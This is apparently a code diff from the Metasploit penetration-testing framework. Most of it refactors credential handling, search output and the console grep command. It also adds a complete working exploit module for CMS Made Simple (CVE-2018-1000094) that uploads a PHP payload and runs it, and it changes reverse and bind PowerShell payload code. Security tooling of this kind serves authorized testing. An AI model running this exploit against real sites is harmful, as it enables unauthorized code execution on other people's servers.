# This method is designed to be overriden by exploit modules.
#
def check
Msf::Exploit::CheckCode::Unsupported
end
#
# Returns the current workspace
#

View File

@ -1,6 +1,6 @@
module Msf::Module::Auth
def store_valid_credential(user:, private:, private_type: :password, proof: nil, service_data: {})
if !service_data.empty? && self.respond_to?("service_details")
if service_data.empty? && self.respond_to?("service_details")
service_data = service_details
end
@ -17,14 +17,14 @@ module Msf::Module::Auth
origin_type: :import,
filename: 'msfconsole' # default as values provided on the console
}.merge(creation_data)
create_credential(cred_data)
framework.db.create_credential(cred_data)
else
login_data = {
proof: proof,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(creation_data)
create_credential_and_login(login_data)
framework.db.create_credential_and_login(login_data)
end
nil

View File

@ -26,6 +26,7 @@ class Obj
attr_reader :mod_time
attr_reader :is_install_path
attr_reader :ref_name
attr_reader :check
def initialize(module_instance, obj_hash = nil)
unless obj_hash.nil?
@ -49,7 +50,7 @@ class Obj
sort_platform_string
@arch = module_instance.arch_to_s
@rport = module_instance.datastore['RPORT'].to_s
@rport = module_instance.datastore['RPORT']
@path = module_instance.file_path
@mod_time = ::File.mtime(@path) rescue Time.now
@ref_name = module_instance.refname
@ -63,6 +64,9 @@ class Obj
@targets = module_instance.targets.map{|x| x.name}
end
# Store whether a module has a check method
@check = module_instance.respond_to?(:check) ? true : false
# Due to potentially non-standard ASCII we force UTF-8 to ensure no problem with JSON serialization
force_encoding(Encoding::UTF_8)
end
@ -89,7 +93,8 @@ class Obj
'mod_time' => @mod_time.to_s,
'path' => @path,
'is_install_path' => @is_install_path,
'ref_name' => @ref_name
'ref_name' => @ref_name,
'check' => @check
}.to_json(*args)
end
@ -135,6 +140,7 @@ class Obj
@path = obj_hash['path']
@is_install_path = obj_hash['is_install_path']
@targets = obj_hash['targets'].nil? ? [] : obj_hash['targets']
@check = obj_hash['check'] ? true : false
end
def sort_platform_string

View File

@ -88,7 +88,7 @@ module Msf::Modules::Metadata::Search
match = [t,w] if module_metadata.targets.any? { |t| t =~ r }
end
when 'port'
match = [t,w] if module_metadata.rport =~ r
match = [t,w] if module_metadata.rport.to_s =~ r
when 'type'
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and module_metadata.type == modt }
when 'app'

View File

@ -54,8 +54,8 @@ module Payload::Windows::Powershell
return "#{cli} \"#{script}\""
end
def generate
command_string
def command_string
powershell_command
end
end
end

View File

@ -22,6 +22,8 @@ require 'msf/ui/console/command_dispatcher/modules'
require 'msf/ui/console/command_dispatcher/developer'
require 'msf/util/document_generator'
require 'optparse'
module Msf
module Ui
module Console
@ -78,18 +80,6 @@ class Core
"-w" => [ true, "Specify connect timeout." ],
"-z" => [ false, "Just try to connect, then return." ])
@@grep_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-i" => [ false, "Ignore case." ],
"-m" => [ true, "Stop after arg matches." ],
"-v" => [ false, "Invert match." ],
"-A" => [ true, "Show arg lines of output after a match." ],
"-B" => [ true, "Show arg lines of output before a match." ],
"-C" => [ true, "Show arg lines of output around a match." ],
"-s" => [ true, "Skip arg lines of output before attempting match."],
"-k" => [ true, "Keep (include) arg lines at start of output." ],
"-c" => [ false, "Only print a count of matching lines." ])
@@search_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-S" => [ true, "Row search filter." ])
@ -1952,10 +1942,7 @@ class Core
end
def cmd_grep_help
print_line "Usage: grep [options] pattern cmd"
print_line
print_line "Grep the results of a console command (similar to Linux grep command)"
print(@@grep_opts.usage())
cmd_grep '-h'
end
#
@ -1967,65 +1954,57 @@ class Core
# @return [String,nil] Results matching the regular expression given
def cmd_grep(*args)
return cmd_grep_help if args.length < 2
match_mods = {:insensitive => false}
output_mods = {:count => false, :invert => false}
@@grep_opts.parse(args.dup) do |opt, idx, val|
case opt
when "-h"
return cmd_grep_help
when "-m"
# limit to arg matches
match_mods[:max] = val.to_i
# delete opt and val from args list
args.shift(2)
when "-A"
# also return arg lines after a match
output_mods[:after] = val.to_i
# delete opt and val from args list
args.shift(2)
when "-B"
# also return arg lines before a match
output_mods[:before] = val.to_i
# delete opt and val from args list
args.shift(2)
when "-C"
# also return arg lines around a match
output_mods[:before] = val.to_i
output_mods[:after] = val.to_i
# delete opt and val from args list
args.shift(2)
when "-v"
# invert match
match_mods[:invert] = true
# delete opt from args list
args.shift
when "-i"
# case insensitive
match_mods[:insensitive] = true
args.shift
when "-c"
# just count matches
output_mods[:count] = true
args.shift
when "-k"
# keep arg number of lines at the top of the output, useful for commands with table headers in output
output_mods[:keep] = val.to_i
args.shift(2)
when "-s"
# skip arg number of lines at the top of the output, useful for avoiding undesirable matches
output_mods[:skip] = val.to_i
args.shift(2)
opts = OptionParser.new do |opts|
opts.banner = "Usage: grep [OPTIONS] [--] PATTERN CMD..."
opts.separator "Grep the results of a console command (similar to Linux grep command)"
opts.separator ""
opts.on '-m num', '--max-count num', 'Stop after num matches.', Integer do |max|
match_mods[:max] = max
end
opts.on '-A num', '--after-context num', 'Show num lines of output after a match.', Integer do |num|
output_mods[:after] = num
end
opts.on '-B num', '--before-context num', 'Show num lines of output before a match.', Integer do |num|
output_mods[:before] = num
end
opts.on '-C num', '--context num', 'Show num lines of output around a match.', Integer do |num|
output_mods[:before] = output_mods[:after] = num
end
opts.on '-v', '--[no-]invert-match', 'Invert match.' do |invert|
match_mods[:invert] = invert
end
opts.on '-i', '--[no-]ignore-case', 'Ignore case.' do |insensitive|
match_mods[:insensitive] = insensitive
end
opts.on '-c', '--count', 'Only print a count of matching lines.' do |count|
output_mods[:count] = count
end
opts.on '-k num', '--keep-header num', 'Keep (include) num lines at start of output', Integer do |num|
output_mods[:keep] = num
end
opts.on '-s num', '--skip-header num', 'Skip num lines of output before attempting match.', Integer do |num|
output_mods[:skip] = num
end
opts.on '-h', '--help', 'Help banner.' do
return print(opts.help)
end
# Internal use
opts.on '--generate-completions str', 'Return possible tab completions for given string.' do |str|
return opts.candidate str
end
end
# after deleting parsed options, the only args left should be the pattern, the cmd to run, and cmd args
pattern = args.shift
if match_mods[:insensitive]
rx = Regexp.new(pattern, true)
else
rx = Regexp.new(pattern)
end
cmd = args.join(" ")
# OptionParser#order allows us to take the rest of the line for the command
pattern, *cmd = opts.order(args)
cmd = cmd.join(" ")
return print(opts.help) if !pattern || cmd.empty?
rx = Regexp.new(pattern, match_mods[:insensitive])
# get a ref to the current console driver
orig_driver = self.driver
@ -2097,7 +2076,9 @@ class Core
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_grep_tabs(str, words)
tabs = @@grep_opts.fmt.keys || [] # default to use grep's options
str = '-' if str.empty? # default to use grep's options
tabs = cmd_grep '--generate-completions', str
# if not an opt, use normal tab comp.
# @todo uncomment out next line when tab_completion normalization is complete RM7649 or
# replace with new code that permits "nested" tab completion

View File

@ -93,7 +93,7 @@ class Creds
return unless active?
# Short-circuit help
if args.delete "-h"
if args.delete("-h") || args.delete("--help")
cmd_creds_help
return
end
@ -153,8 +153,6 @@ class Creds
print_line " creds add ntlm:E2FC15074BF7751DD408E6B105741864:A1074A69B1BDE45403AB680504BBDD1A"
print_line " # Add a user with an SSH key"
print_line " creds add user:sshadmin ssh-key:/path/to/id_rsa"
print_line " # Add a SSH key"
print_line " creds add ssh-key:/path/to/id_rsa"
print_line " # Add a user and a NonReplayableHash"
print_line " creds add user:other hash:d19c32489b870735b5f587d76b934283"
print_line " # Add a NonReplayableHash"
@ -164,7 +162,7 @@ class Creds
print_line "General options"
print_line " -h,--help Show this help information"
print_line " -o <file> Send output to a file in csv format"
print_line " -d Delete one or more credentials"
print_line " -d,--delete Delete one or more credentials"
print_line
print_line "Filter options for listing"
print_line " -P,--password <regex> List passwords that match this regex"
@ -172,13 +170,15 @@ class Creds
print_line " -s <svc names> List creds matching comma-separated service names"
print_line " -u,--user <regex> List users that match this regex"
print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}"
print_line " -O,--origins List creds that match these origins"
print_line " -O,--origins <IP> List creds that match these origins"
print_line " -R,--rhosts Set RHOSTS from the results of the search"
print_line " -S,--search-term Search across all fields using regex"
print_line
print_line "Examples, listing:"
print_line " creds # Default, returns all credentials"
print_line " creds 1.2.3.4/24 # nmap host specification"
print_line " creds 1.2.3.4/24 # Return credentials with logins in this range"
print_line " creds -O 1.2.3.4/24 # Return credentials with origins in this range"
print_line " creds -p 22-25,445 # nmap port specification"
print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services"
print_line " creds -t ntlm # All NTLM creds"
@ -223,7 +223,7 @@ class Creds
end
data = {
workspace_id: framework.db.workspace,
workspace_id: framework.db.workspace.id,
origin_type: :import,
filename: 'msfconsole'
}
@ -275,9 +275,9 @@ class Creds
data[:port] = params['port']
data[:protocol] = params['protocol']
data[:service_name] = params['service-name']
create_credential_and_login(data)
framework.db.create_credential_and_login(data)
else
create_credential(data)
framework.db.create_credential(data)
end
rescue ActiveRecord::RecordInvalid => e
print_error("Failed to add #{data['private_type']}: #{e}")
@ -305,44 +305,44 @@ class Creds
when '-o'
output_file = args.shift
if (!output_file)
print_error("Invalid output filename")
print_error('Invalid output filename')
return
end
output_file = ::File.expand_path(output_file)
when "-p","--port"
when '-p', '--port'
unless (arg_port_range(args.shift, port_ranges, true))
return
end
when "-t","--type"
when '-t', '--type'
ptype = args.shift
opts[:ptype] = ptype
if (!ptype)
print_error("Argument required for -t")
print_error('Argument required for -t')
return
end
when "-s","--service"
when '-s', '--service'
service = args.shift
if (!service)
print_error("Argument required for -s")
print_error('Argument required for -s')
return
end
svcs = service.split(/[\s]*,[\s]*/)
opts[:svcs] = svcs
when "-P","--password"
when '-P', '--password'
pass = args.shift
opts[:pass] = pass
if (!pass)
print_error("Argument required for -P")
print_error('Argument required for -P')
return
end
when "-u","--user"
when '-u', '--user'
user = args.shift
opts[:user] = user
if (!user)
print_error("Argument required for -u")
print_error('Argument required for -u')
return
end
when "-d"
when '-d', '--delete'
mode = :delete
when '-R', '--rhosts'
set_rhosts = true
@ -350,7 +350,7 @@ class Creds
hosts = args.shift
opts[:hosts] = hosts
if !hosts
print_error("Argument required for -O")
print_error('Argument required for -O')
return
end
arg_host_range(hosts, origin_ranges)
@ -385,6 +385,7 @@ class Creds
# normalize
ports = port_ranges.flatten.uniq
opts[:ports] = ports unless ports.empty?
svcs.flatten!
tbl_opts = {
'Header' => "Credentials",
@ -393,8 +394,9 @@ class Creds
}
tbl = Rex::Text::Table.new(tbl_opts)
opts[:wspace] = framework.db.workspace
opts[:workspace] = framework.db.workspace
query = framework.db.creds(opts)
matched_cred_ids = []
query.each do |core|
@ -410,16 +412,21 @@ class Creds
origin = ''
if core.origin.kind_of?(Metasploit::Credential::Origin::Service)
origin = core.origin.service.host.address
service = framework.db.services(id: core.origin.service_id, workspace: framework.db.workspace).first
origin = service.host.address
elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session)
origin = core.origin.session.host.address
session = framework.db.sessions(id: core.origin.session_id, workspace: framework.db.workspace).first
origin = session.host.address
end
if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) }
if origin_ranges.present? && !origin_ranges.any? { |range| range.include?(origin) }
next
end
if core.logins.empty? && origin_ranges.empty?
if core.logins.empty?
next if host_ranges.present? # If we're filtering by login IP and we're here there's no associated login, so skip
matched_cred_ids << core.id
public_val = core.public ? core.public.username : ""
private_val = core.private ? core.private.data : ""
realm_val = core.realm ? core.realm.value : ""
@ -427,7 +434,7 @@ class Creds
tbl << [
"", # host
"", # cred
origin, # origin
"", # service
public_val,
private_val,
@ -436,23 +443,26 @@ class Creds
]
else
core.logins.each do |login|
service = framework.db.services(id: login.service_id, workspace: framework.db.workspace).first
# If none of this Core's associated Logins is for a host within
# the user-supplied RangeWalker, then we don't have any reason to
# print it out. However, we treat the absence of ranges as meaning
# all hosts.
if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) }
if host_ranges.present? && !host_ranges.any? { |range| range.include?(service.host.address) }
next
end
row = [ login.service.host.address ]
row = [ service.host.address ]
row << origin
rhosts << login.service.host.address
if login.service.name.present?
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
rhosts << service.host.address
if service.name.present?
row << "#{service.port}/#{service.proto} (#{service.name})"
else
row << "#{login.service.port}/#{login.service.proto}"
row << "#{service.port}/#{service.proto}"
end
matched_cred_ids << core.id
public_val = core.public ? core.public.username : ""
private_val = core.private ? core.private.data : ""
realm_val = core.realm ? core.realm.value : ""
@ -467,10 +477,10 @@ class Creds
tbl << row
end
end
if mode == :delete
core.destroy
delete_count += 1
end
end
if mode == :delete
result = framework.db.delete_credentials(ids: matched_cred_ids)
delete_count = result.size
end
if output_file.nil?

View File

@ -385,6 +385,7 @@ module Msf
m.full_name,
m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"),
RankingName[m.rank].to_s,
m.check ? 'Yes' : 'No',
m.name
]
end
@ -1101,6 +1102,7 @@ module Msf
refname,
o.disclosure_date.nil? ? "" : o.disclosure_date.strftime("%Y-%m-%d"),
o.rank_to_s,
o.respond_to?(:check) ? 'Yes' : 'No',
o.name
]
end
@ -1117,7 +1119,7 @@ module Msf
'Header' => type,
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ],
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Check', 'Description' ],
'SearchTerm' => search_term
)
end

View File

@ -545,6 +545,8 @@ module DispatcherShell
else
dispatcher.send('cmd_' + method, *arguments)
end
rescue OptionParser::ParseError => e
print_error("#{method}: #{e.message}")
ensure
self.busy = false
end

View File

@ -86,10 +86,10 @@ class MetasploitModule < Msf::Auxiliary
def hash_file
hashlist = Rex::Quickfile.new("hashes_tmp")
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'des').each do |hash|
hash.cores.each do |core|
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
if core.private.jtr_format =~ /des/
user = core.public.username
hash_string = "#{hash.data}"
hash_string = core.private.data
id = core.id
hashlist.puts "#{user}:#{hash_string}:#{id}:"
end

View File

@ -121,13 +121,11 @@ class MetasploitModule < Msf::Auxiliary
def hash_file
hashlist = Rex::Quickfile.new("hashes_tmp")
Metasploit::Credential::NTLMHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id } ).each do |hash|
hash.cores.each do |core|
user = core.public.username
hash_string = "#{hash.data}"
id = core.id
hashlist.puts "#{user}:#{id}:#{hash_string}:::#{id}"
end
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NTLMHash').each do |core|
user = core.public.username
hash_string = core.private.data
id = core.id
hashlist.puts "#{user}:#{id}:#{hash_string}:::#{id}"
end
hashlist.close
print_status "Hashes Written out to #{hashlist.path}"

View File

@ -35,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary
def run
formats = [ 'md5', 'des', 'bsdi']
formats = [ 'md5crypt', 'descrypt', 'bsdicrypt']
if datastore['Crypt']
formats << 'crypt'
end
@ -87,10 +87,10 @@ class MetasploitModule < Msf::Auxiliary
def hash_file
hashlist = Rex::Quickfile.new("hashes_tmp")
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'md5,des,bsdi,crypt').each do |hash|
hash.cores.each do |core|
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
if core.private.jtr_format =~ /md5|des|bsdi|crypt/
user = core.public.username
hash_string = "#{hash.data}"
hash_string = core.private.data
id = core.id
hashlist.puts "#{user}:#{hash_string}:::::#{id}:"
end

View File

@ -96,6 +96,15 @@ class MetasploitModule < Msf::Auxiliary
hashlist.puts "#{user}:#{hash_string}:#{id}:"
end
end
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
if core.private.jtr_format =~ /mssql|mssql05|mssql12/
@formats << core.private.jtr_format
user = core.public.username
hash_string = core.private.data
id = core.id
hashlist.puts "#{user}:#{hash_string}:#{id}:"
end
end
hashlist.close
print_status "Hashes Written out to #{hashlist.path}"
hashlist.path

View File

@ -83,10 +83,10 @@ class MetasploitModule < Msf::Auxiliary
def hash_file
hashlist = Rex::Quickfile.new("hashes_tmp")
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'mysql,mysql-sha1').each do |hash|
hash.cores.each do |core|
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
if core.private.jtr_format =~ /mysql|mysql-sha1/
user = core.public.username
hash_string = "#{hash.data}"
hash_string = core.private.data
id = core.id
hashlist.puts "#{user}:#{hash_string}:#{id}:"
end

View File

@ -86,10 +86,10 @@ class MetasploitModule < Msf::Auxiliary
def hash_file(format)
hashlist = Rex::Quickfile.new("hashes_tmp")
Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: format).each do |hash|
hash.cores.each do |core|
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash').each do |core|
if core.private.jtr_format =~ /#{format}/
user = core.public.username
hash_string = "#{hash.data.split(':')[1]}"
hash_string = core.private.data.split(':')[1]
id = core.id
hashlist.puts "#{user}:#{hash_string}:#{id}:"
end

View File

@ -110,11 +110,11 @@ class MetasploitModule < Msf::Auxiliary
def hash_file
hashlist = Rex::Quickfile.new("hashes_tmp")
Metasploit::Credential::PostgresMD5.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }).each do |hash|
hash.cores.each do |core|
framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::PostgresMD5').each do |core|
if core.private.jtr_format =~ /des/
user = core.public.username
@username_set << user
hash_string = "#{hash.data}"
hash_string = core.private.data
hash_string.gsub!(/^md5/, '')
id = core.id
hashlist.puts "#{user}:#{hash_string}:#{id}:"

View File

@ -43,14 +43,14 @@ class MetasploitModule < Msf::Auxiliary
bakextensions.each do |ext|
file = normalize_uri(datastore['PATH'])+ext
check_for_file(file)
check_for_file(file, ip)
end
if datastore['PATH'] =~ %r#(.*)(/.+$)#
file = $1 + $2.sub('/', '/.') + '.swp'
check_for_file(file)
check_for_file(file, ip)
end
end
def check_for_file(file)
def check_for_file(file, ip)
begin
res = send_request_cgi({
'uri' => file,

View File

@ -112,7 +112,8 @@ class MetasploitModule < Msf::Auxiliary
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
framework.db.create_credential_and_login(connection_details)
@users_found[user] = :reported
return :next_user
else

View File

@ -0,0 +1,172 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CMS Made Simple Authenticated RCE via File Upload/Copy',
'Description' => %q{
CMS Made Simple allows an authenticated administrator to upload a file
and rename it to have a .php extension. The file can then be executed
by opening the URL of the file in the /uploads/ directory.
This module has been successfully tested on CMS Made Simple versions
2.2.5 and 2.2.7.
},
'Author' =>
[
'Mustafa Hasen', # Vulnerability discovery and EDB PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-1000094' ],
[ 'CWE', '434' ],
[ 'EDB', '44976' ],
[ 'URL', 'http://dev.cmsmadesimple.org/bug/view/11741' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Universal', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 03 2018'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base cmsms directory path", '/cmsms/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
])
register_advanced_options ([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.body =~ /CMS Made Simple/i
return CheckCode::Safe
end
if res.body =~ %r{CMS Made Simple</a> version (\d+\.\d+\.\d+)}i
version = Gem::Version.new($1)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
if version == Gem::Version.new('2.2.5')
return CheckCode::Appears
end
end
CheckCode::Detected
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include?(check)
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'method' => 'POST',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
})
unless res
fail_with(Failure::NotFound, 'A response was not received from the remote host')
end
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ /\/admin\?(.*)?=(.*)/
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end
vprint_good("#{peer} - Authentication successful")
csrf_name = $1
csrf_val = $2
csrf = {csrf_name => csrf_val}
cookies = res.get_cookies
filename = rand_text_alpha(8..12)
# Generate form data
message = Rex::MIME::Message.new
message.add_part(csrf[csrf_name], nil, nil, "form-data; name=\"#{csrf_name}\"")
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
message.add_part(payload.encoded, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}.txt\"")
data = message.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'cookie' => cookies
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the text file')
end
vprint_good("#{peer} - File uploaded #{filename}.txt")
fileb64 = Rex::Text.encode_base64("#{filename}.txt")
data = {
'mact' => 'FileManager,m1_,fileaction,0',
"m1_fileactioncopy" => "",
'm1_selall' => "a:1:{i:0;s:#{fileb64.length}:\"#{fileb64}\";}",
'm1_destdir' => '/',
'm1_destname' => "#{filename}.php",
'm1_path' => '/uploads',
'm1_submit' => 'Copy',
csrf_name => csrf_val
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'moduleinterface.php'),
'method' => 'POST',
'cookie' => cookies,
'vars_post' => data
})
unless res
fail_with(Failure::NotFound, 'A response was not received from the remote host')
end
unless res.code == 302 && res.headers['Location'].to_s.include?('copysuccess')
fail_with(Failure::UnexpectedReply, 'Failed to rename the file')
end
vprint_good("#{peer} - File renamed #{filename}.php")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'uploads', "#{filename}.php"),
'method' => 'GET',
'cookie' => cookies
})
end
end

View File

@ -39,7 +39,7 @@ def generate_stage
# ipv6 address conversion
# converts user's input into ipv6 hex representation
words = IPAddr.new(datastore['LHOST']).hton.scan(/..../).map {|i| i.unpack('V').first.to_s(16)}
words = IPAddr.new(datastore['LHOST'], Socket::AF_INET6).hton.scan(/..../).map {|i| i.unpack('V').first.to_s(16)}
payload_data =<<-EOS
xor ebx,ebx
mul ebx

View File

@ -15,7 +15,7 @@ require 'msf/core/handler/bind_tcp'
###
module MetasploitModule
CachedSize = 1518
CachedSize = 1703
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
@ -53,7 +53,7 @@ module MetasploitModule
#
# Override the exec command string
#
def command_string
def powershell_command
generate_powershell_code("Bind")
end
end

View File

@ -15,7 +15,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
###
module MetasploitModule
CachedSize = 1526
CachedSize = 1711
include Msf::Payload::Windows::Exec
include Msf::Payload::Windows::Powershell
@ -53,7 +53,7 @@ module MetasploitModule
#
# Override the exec command string
#
def command_string
def powershell_command
generate_powershell_code("Reverse")
end
end

View File

@ -15,7 +15,7 @@ require 'msf/core/handler/bind_tcp'
###
module MetasploitModule
CachedSize = 1518
CachedSize = 1786
include Msf::Payload::Windows::Exec_x64
include Rex::Powershell::Command
@ -53,7 +53,7 @@ module MetasploitModule
#
# Override the exec command string
#
def command_string
def powershell_command
generate_powershell_code("Bind")
end
end

View File

@ -15,7 +15,7 @@ require 'msf/core/handler/reverse_tcp_ssl'
###
module MetasploitModule
CachedSize = 1526
CachedSize = 1794
include Msf::Payload::Windows::Exec_x64
include Msf::Payload::Windows::Powershell
@ -53,7 +53,7 @@ module MetasploitModule
#
# Override the exec command string
#
def command_string
def powershell_command
generate_powershell_code("Reverse")
end
end

View File

@ -7,7 +7,6 @@ RSpec.describe Msf::Module do
described_class.new
}
it { is_expected.to respond_to :check }
it { is_expected.to respond_to :debugging? }
it { is_expected.to respond_to :fail_with }
it { is_expected.to respond_to :file_path }

View File

@ -1,9 +1,5 @@
RSpec.shared_examples_for 'Msf::DBManager::Cred' do
if ENV['REMOTE_DB']
before {skip("Awaiting cred port")}
end
it { is_expected.to respond_to :creds }
it { is_expected.to respond_to :each_cred }
it { is_expected.to respond_to :find_or_create_cred }